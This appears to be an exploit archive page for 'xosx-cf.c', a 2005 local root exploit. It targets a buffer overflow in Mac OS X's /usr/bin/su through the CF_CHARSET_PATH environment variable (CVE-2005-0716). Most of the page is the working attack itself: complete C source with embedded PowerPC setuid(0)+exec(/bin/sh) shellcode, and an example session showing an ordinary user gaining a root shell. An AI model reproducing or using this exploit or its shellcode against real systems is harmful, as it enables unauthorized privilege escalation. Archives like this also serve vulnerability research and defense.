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xosx-cf.c

xosx-cf.c
Posted Mar 24, 2005
Authored by vade79 | Site fakehalo.us

Local root exploit for /usr/bin/su on Mac OS X that makes use of the buffer overflow vulnerability discovered by iDefense using the CF_CHARSET_PATH environment variable.

tags | exploit, overflow, local, root
systems | apple, osx
advisories | CVE-2005-0716
SHA-256 | 3d4f65ef5c5787a4e22d1adaf440941026368d42080a9637123986b999b4dcbf

xosx-cf.c

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This is simply an exploit for the iDefense adv posted today/yesterday, exploits via /usr/bin/su.

original adv:
www.idefense.com/application/poi/display?id=219&type=vulnerabilities

original exploit:
http://fakehalo.us/xosx-cf.c


--- example usage ---

server:/tmp v9$ id
uid=502(v9) gid=502(v9) groups=502(v9)
server:/tmp v9$ gcc xosx-cf.c -o xosx-cf
server:/tmp v9$ ./xosx-cf
(*)MacOS X[CF_CHARSET_PATH]: local root exploit.
(*)by: v9@fakehalo.us, found by iDefense adv. (anon)

[*] setting up the environment.
[*] executing su... (press ENTER at the "Password: " prompt)

Password:
sh-2.05b# id
uid=0(root) gid=502(v9) groups=502(v9)


--- xosx-cf.c ---

/*[ MacOS X[CF_CHARSET_PATH]: local root exploit. ]*********
* *
* by: v9@fakehalo.us (fakehalo/realhalo) *
* *
* found by: iDefense (anon finder) *
* *
* saw the advisory on bugtraq and figured i'd slap this *
* together, so simple i had to. exploits via the *
* /usr/bin/su binary. you must press ENTER at the *
* "Password: " prompt. *
***********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static char exec[]= /* b-r00t's setuid(0)+exec(/bin/sh). */
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb"
"\x01\x70\x39\x40\x01\x70\x39\x1f\xfe\xdf\x7c\x68\x19\xae"
"\x38\x0a\xfe\xa7\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xa5"
"\x2a\x79\x38\x7f\xfe\xd8\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02\x7c\xa3"
"\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";
int main(void){
unsigned int i=0;
char *buf,*env[3];
printf("(*)MacOS X[CF_CHARSET_PATH]: local root exploit.\n");
printf("(*)by: v9@fakehalo.us, found by iDefense adv. (anon)\n\n");
if(!(buf=(char *)malloc(1100+1)))exit(1);
memcpy(buf,"CF_CHARSET_PATH=",16);
printf("[*] setting up the environment.\n");
for(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));
env[0]=buf;
env[1]=exec;
env[2]=NULL;
printf("[*] executing su... (press ENTER at the \"Password: \""
" prompt)\n\n");
if(execle("/usr/bin/su","su",0,env))
printf("[!] failed executing /usr/bin/su.\n");
exit(0);
}
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